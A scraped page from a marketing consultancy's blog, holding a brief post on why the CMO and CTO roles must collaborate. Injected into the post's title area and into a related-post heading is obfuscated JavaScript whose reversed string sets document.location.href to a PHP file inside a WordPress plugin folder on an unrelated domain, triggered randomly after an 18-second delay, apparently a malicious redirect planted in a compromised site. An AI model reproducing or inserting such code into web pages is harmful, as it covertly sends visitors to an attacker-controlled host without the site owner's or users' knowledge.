FYAMI.
  • Home
  • About Us
    • Our Story
    • Success Stories
  • Knowledge Base
    • Ebooks and Whitepapers
    • Case Study
  • Services
    • On Demand Solutions
    • The One Package – CMO & CTO expertise when you need it.
    • Lead Generation
    • Marketing Consultancy
    • Webinar & Events Management
    • Email Marketing
    • Social Media Management
    • Marketing & Sales Training
    • Technology Solutions
    • Web Design
    • Content Writing
    • Public Relations (PR)
  • Blog
  • Contact
FYAMI.
  • Home
  • About Us
    • Our Story
    • Success Stories
  • Knowledge Base
    • Ebooks and Whitepapers
    • Case Study
  • Services
    • On Demand Solutions
    • The One Package – CMO & CTO expertise when you need it.
    • Lead Generation
    • Marketing Consultancy
    • Webinar & Events Management
    • Email Marketing
    • Social Media Management
    • Marketing & Sales Training
    • Technology Solutions
    • Web Design
    • Content Writing
    • Public Relations (PR)
  • Blog
  • Contact
  • Home
  • About Us
    • Our Story
    • Success Stories
  • Knowledge Base
    • Ebooks and Whitepapers
    • Case Study
  • Services
    • On Demand Solutions
    • The One Package – CMO & CTO expertise when you need it.
    • Lead Generation
    • Marketing Consultancy
    • Webinar & Events Management
    • Email Marketing
    • Social Media Management
    • Marketing & Sales Training
    • Technology Solutions
    • Web Design
    • Content Writing
    • Public Relations (PR)
  • Blog
  • Contact
  • Home
  • >
  • Blog
  • >
  • $Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the Chief Tech office (CTO) in the modern workplace.">Crucial for modern businesses – The Chief Marketing officer (CMO) and the Chief Tech office (CTO) in the modern workplace.

Crucial for modern businesses – The Chief Marketing officer (CMO) and the Chief Tech office (CTO) in the modern workplace.

byFaye Eldridge inBlog, CMO, Consulting, CTO, MODERN WORKPLACE posted on13th March 2020
0

The CTO and the CMO relationship:

Two of the most important executive roles in today’s customer-focused environment are the CMO and the CTO.

The relationship between the CMO and CIO is going to involve a lot of collaboration. CMOs and CTOS are already collaborating more and working closely together.

Tech and Marketing go hand in hand to ensure a business achieves its growth goals. The need for both of these executives to work and collaborate together is a business necessity now that we are in 2020 and beyond.

Four key, ‘tech specific,’ areas that are being considered by CMOs and marketing directors today are social media, mobile, marketing automation and programmatic ad-buying. These are all now strategic priorities and they all involve technology. With these changes, the CMO now has growing influence on technology spending.

When marketing and tech executives join forces, share ideas and collaborate, they can can capitalise on the opportunities that new technologies offer.

 

CMOCTODIGITAL
How does a niche management consultancy fly to the top of Google? Financial Management case study: Success story

Previous

The rise of the CMO & the CTO relationship

Next

Related Posts

31st March 2020
How SMEs can make remote working a success

In today’s day and age, remote working is a given, rather than a benefit. In...

No Comments
21st November 2018
The value of networking online for professional service firms, by Mr Arjun Sreedaran, Solicitor

In the current economical client, competition is rife amongst all industries....

No Comments
fyami
10th April 2020
Blogs, business <script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script>and Covid-19 Lockdown – Why blogging matters.

‘When communication is limited, use all the means you can because we need it now...

No Comments

Recent Posts

  • DeFi has grown over 88x in the last year, fuelling the financial revolution where De-Fi and consumers are both the winners. How?
  • 4 Reasons Why Lead Generation Will Help You Grow Your Business 
  • For SMEs in Kingston Upon Thames & Richmond Upon Thames – KT1, KT2, TW9, TW10.
  • CEO relational leadership and strategic decision quality in management teams: The role of team trust and learning from failure
  • Business consulting – Brief info on survey research and quantitative data – as part of DBA, doctor of business research.

Recent Comments

    Archives

    • February 2022
    • December 2020
    • November 2020
    • October 2020
    • September 2020
    • August 2020
    • July 2020
    • June 2020
    • May 2020
    • April 2020
    • March 2020
    • November 2018
    • October 2018
    • November 2017
    • September 2017
    • August 2017
    • July 2017

    Categories

    • Apps
    • Blog
    • CMO
    • Community
    • Consulting
    • Covid19
    • CTO
    • Digital
    • Finance
    • Latest News
    • MODERN WORKPLACE
    • Research
    • retail
    • SEO
    • Social Media
    • Software
    • Websites

    Blog Tags

    Ai b2b lead generation tech blog blogging Business help covid-19 Business help London Corona Virus case study CMO consulting content content writing Corona Virus business marketing covid19 CTO cyber crime cyber security Cyber security marketing consultant Cyber security Marketing director Cyber security marketing plan DIGITAL Digital Change finance landing page Lead Generation Richmond London London Marketing help Covid-19 Marketing Consultant Fulham Marketing Consultant Kingston Marketing consultant London Marketing Consultant Putney Marketing Consultant Richmond Marketing Freelance London Marketing Freelancer B2B Marketing Freelancer Richmond Marketing offer cheap Modern WorkPlace retail Richmond London Self employed Marketing Self employed marketing consultant Self employed marketing help Social media management Twitter South West London Marketing success story Technology business webinar

    At Fyami our team of driven and talented consultants specialise in full technology and marketing solutions for your business. We believe that the most ambitious and successful businesses need both – Exceptional marketing and exceptional technology.

    Find our more about us

    Our Services

    • Fyami Worldwide
    • Technology Solutions
    • Sales and Marketing Software
    • Web Design
    • Search Engine Optimization
    • FYAMI Grants

    Contacts

    179-181 Lower Richmond Road,
    Richmond, London, TW9 4LN
    Telephone
    020 8012 7949
    Email
    hello@fyami.com

    Privacy Policy | Terms & Conditions

    Social

    Join our social networks, get news and promotions

    Linkedin Twitter